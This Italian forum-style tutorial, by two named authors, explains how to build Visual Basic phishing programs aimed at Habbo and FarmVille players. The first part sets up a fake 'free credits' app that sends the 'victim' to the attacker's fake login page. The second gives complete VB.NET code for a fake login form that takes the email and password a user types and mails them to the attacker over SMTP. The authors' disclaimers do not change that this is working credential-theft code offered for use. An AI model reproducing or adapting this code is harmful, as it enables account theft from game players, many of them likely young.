Fake-program: (non mi assumo nessuna responsabilità..)
Allora Inanzi tutto aprire vb. (Guida for fake habbo)
2°Cliccare su Nuovo Progetto
3°Dare un Nome al Form
3°Mettere uno sfondo al form
4°Mettere Dei button che serviranno a far andare la vittima al vostro fake-login e mettere dei nomi ai button. (tipo Regala! o Scripta! oppure ok ecc)
5°Mettere dei RadioButton o dei Checkbox in modo da far scegliere alla vittima che furno o crd volere.(e mettere dei nomi tipo 100 crd e la vittima seleziona 100 crd oppure 10 crd ecc)
6°Mettere un WebBrowser che serviranno a far andare la vittima sul vostro fake.
Passiamo ai codici.
I codici sono solo per far andare al fake.
1°cliccare sul button o sui button messo/i in precedenza e cancellare solo la scritta:
Private Sub
TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged
End Sub
End Class
E al posto della scritta metterete il codice=
WebBrowser1.Navigate("http://vostrofake-login.altervista.org")
e sostituite vostrofake-login con il vostro fake-login
Salvate il progetto.
Ora vi mostro il mio fake per farvi capire meglio.
Questa guida è stata creata da : babbo natalino
Fake-login: (Non mi assumo nessuna responsabilità)
(fake for habbo and farmville)
Allora è semplicissimo fate il nuovo progetto e mettete dentro 2 textbox e un button
ora cliccate due volte nel form, cancellate tutto e metterete questi codici:
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Button1.Text = ("Entra nel programma!")
TextBox1.Text = ("Inserisci la tua e-mail")
TextBox2.Text = ("Inserisci la tua password")
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim tuamail As String = "tuamail"
Dim tuonome As String = "tuo nome"
Dim tuostmp As String = "tuo stmp (es. out.alice.com)"
Dim myMail As New MailMessage()
myMail.From = New MailAddress("password@skizzo.it", TextBox1.Text)
myMail.To.Add(New MailAddress(tuamail, tuonome))
myMail.Subject = TextBox1.Text
myMail.Priority = MailPriority.High
myMail.IsBodyHtml = True
myMail.Body = "Il nome è: " & TextBox1.Text & " La password è: " & TextBox2.Text
Dim Smtp As New SmtpClient 'Il server SMTP
Smtp.Host = tuostmp
Smtp.Send(myMail) 'Invia l'email
End Sub
End Class
ed ecco qui avete creato il vosto fake login
Questa guida è stata creata da: spider699
Spero di esserti stato d'aiuto